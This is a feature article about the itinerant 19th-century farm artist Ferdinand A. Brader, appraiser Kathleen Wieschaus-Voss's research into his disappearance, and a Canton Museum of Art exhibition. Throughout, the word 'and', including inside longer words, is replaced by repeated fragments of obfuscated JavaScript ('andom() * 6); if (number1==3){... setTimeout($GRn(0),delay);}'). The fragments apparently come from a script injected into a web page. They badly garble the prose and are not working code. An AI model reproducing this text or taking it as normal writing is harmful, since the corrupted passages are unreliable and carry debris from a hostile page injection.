By: Hollie Davis

CANTON, OHIO — While the study of decorative arts quite often mirrors the approach taken in criminal forensics, profiling previous users andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and detecting signs of repairs andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and refinishes, one hardly expects serious mysteries, such as a missing person’s case, to be lurking behind a treasured possession. Yet that is exactly what Canton appraiser Kathleen Wieschaus-Voss found when she began to investigate Ferdinandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Brader, an itinerant artist who spent much of the late Nineteenth Century roaming Pennsylvania andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and northeastern Ohio. There he made a living through his large bird’s-eye view drawings of farmsteads, executed in detail that rivals architectural renderings.

Brader’s works are undeniably meant to be seen up close, an opportunity more people will have this winter, as the first major exhibition of his work appears at the Canton Museum of Art through March 15. Smaller accompanying exhibitions, one highlighting Brader’s works involving trains andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and another of his later colored pencil drawings of Stark County, Ohio, farms are also on view at the William McKinley Presidential Library andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Museum andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the Little Art Gallery in the North Canton Public Library, respectively.

Wieschaus-Voss first became familiar with Brader’s work during the 1980s. In the course of her work, she became hooked when she saw her third drawing, the Wagoner farm, which includes a delightfully intricate rendering of a train. Wieschaus-Voss says she likes collecting information. Perhaps, after a career filled with puzzles, it was refreshing to encounter an artist who worked in such an orderly andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and formulaic manner. In fact, prompted by her research, Wieschaus-Voss has founded the Center for the Study of Art in Rural America, where she hopes to facilitate piecing more such puzzles together, aiding scholars in making connections between works by eventually creating a website andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and corresponding database, including the works she began documenting in her own database in 1993.

When she started, all that was known of Brader’s life could be sketched in a paragraph — less if one removed rumor, gossip andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and conjecture. The largest mystery was the artist’s alleged disappearance, documented in period newspapers. Brader logged several stints in area infirmaries andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and sanitariums, prompting unfounded rumors of alcoholism. His real trouble — aside from the likely hard nature of his itinerant life, particularly in colder months in Pennsylvania andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and northeast Ohio — seems to have been asthma. He resided in the Stark County Infirmary late in 1895 when he learned he had inherited a sizable sum in his native village of Kaltbrunn, Switzerlandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and, at which point he seems to vanish completely.

Naturally, news that someone in the town infirmary had been bequeathed a small fortune garnered the community’s attention, attention that grew with word that their heir had disappeared. Speculation at the time was not just confined to local gossip, but found its way into area newspaper accounts. The most speculative accounts hinted darkly at a wayward death due to a sudden asthma attack or even a violent end due to an unpaid debt.

Ironic that a man whose work involved capturing things in such incredible detail left a life with so few details recorded, but Brader’s attention to minutiae left one of the first andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and most valuable clues. His drawings, all done in pencil andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and signed, were numbered sequentially andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and titled in a formulaic way that included a date. This allowed Wieschaus-Voss to delineate his movements andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and to ascertain where he was at what point in time. She says that puzzling out the cipher of Brader himself was not her initial intent, that she “just accepted the fact that his life was a mystery.”

After nearly 20 years of “searching auction records, trade magazine ads, antiques shows, collecting family stories, pictures, anecdotes andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and talking to local historical society meetings,” a conversation with M.L. Alabacete, then director of the Canton Museum of Art, put the tantalizing possibility of an exhibition in front of Wieschaus-Voss.

Fortunately, the Internet emerged over those 20 years. Without it, notes Wieschaus-Voss, the resulting exhibition andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and companion book, The Legacy of Ferdinandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and A. Brader, would have hardly been possible. When the project officially launched, there were 122 drawings known. Now there are 215 drawings formally noted. Wieschaus-Voss says she has heard of several more but has been unable to confirm their existence. The drawings have, in many instances, come to represent the larger story of Midwestern farm families, as at least 60 of the works are still with the descendants of the original owners. Wieschaus-Voss says only about a third of those descendants are still on the family farm.

That, she reports, has been an unexpectedly touching andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and important part of Brader’s story — the oral histories of the families in which they have been passed down. Wieschaus-Voss says that among those descendants who still possess their Brader drawing, there are a handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andful of folks in their nineties who recall their grandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andparents telling them about the artist’s stay. In most cases, the stories, tied up with other bits of family lore, have been repeated through at least four generations. While the specifics have become muddy over time through repetition, certain elements ring true because they appear in many accounts.

For instance, oral history sheds some light on his process, which Wieschaus-Voss says is still hard for her to conceptualize “because of the sheer size andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and number of the drawings.” Brader’s drawings, aside from a few rather rote floral sketches andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the occasional variation, range from approximately 3 to 4 feet in width, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and if, as Wieschaus-Voss says she does, we trust his numbering system, this means that “between June 1879 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and December 1895 he completed at least 980 of the large landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andscape drawings.” That is more than 60 such drawings each year, usually for “a couple dollars” apiece.

Family histories tend to support the claim that he also received room andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and boarding during the period of his work, which was customarily two to three days, although some reports say he stayed as much as a week andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and others suggest he might have even occasionally helped with farm work. Brader’s approach to perspective is discussed at greater length in the exhibition’s companion volume, which includes a number of essays about the search for Brader andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the larger context of his work. His approach appears to have involved extended walks around the property, with some accounts suggesting he strolled the property extensively before drawing andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and others saying he walked each morning before settling in to draw in the afternoon. Whatever his process, Wieschaus-Voss notes that his confidence must have been astounding, as “there is no indication of erasure within the drawings.”

Where exactly Brader’s confidence came from remains a core part of the mystery that surrounds him. Wieschaus-Voss worked with a number of contacts in Switzerlandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and, even making visits herself over the years, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the Brader family genealogy was gradually neatly sorted. Brader’s family ran a bakery. When he married in 1860, he listed himself as a modelstecher, a “carver of molds.” It is uncertain whether he meant the elaborate molds used in bakeries at the time or the designs used in the numerous textile factories that were also in the region.

This is just one unresolved question. Despite decades of research, Ferdinandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Brader’s life seems to be a nesting doll of mysteries. Wieschaus-Voss discovered that he had indeed returned safely to Switzerlandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and to claim his inheritance…only to vanish again, requiring his family to have him formally declared missing to deal with the remainder of his inheritance. Brader’s wife andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and his only child, Carl, would also go missing; she only from the official record, but Carl’s absence would also eventually be addressed with a formal declaration. Did Brader return to America or travel elsewhere? Did he simply die after losing touch with his remaining family? The more questions answered, the more questions raised, it seems.

Even knowing what little we do about his life only makes his works more remarkable. While Ferdinandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Brader did not record his own life in any lasting way, he is thought to have sketched himself into at least three of his works, adjusting his depiction of himself as he aged. His work has offered figurative andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and literal perspective on the heart of Nineteenth Century America, the family farm. And yet it is so strange andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and more than a little poignant that a man who spent his life roaming the countryside, sometimes doing manual labor, retreating occasionally to the sanctuary of area almshouses, a man who by all appearances had a loose andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and detached sense of family himself, a man who seemingly never had the American dream within his grasp, made his living rendering in exquisite detail the prosperity andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and success of other men, right down to the last sheep andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and shingle.

One wonders how Brader could possibly have inventoried others so carefully without taking his own inventory, as well. Were his occasional cameo appearances in his works simply an attempt to record his sense of place in the world or did they speak to something more complex — an attempt to insert himself into a life andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a history other than his own?

The Canton Museum of Art is at 1001 Market Avenue North in Canton. For information, 330-453-7666 or www.cantonart.org.

Hollie Davis is a freelance decorative arts writer andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and editor who lives in Ohio.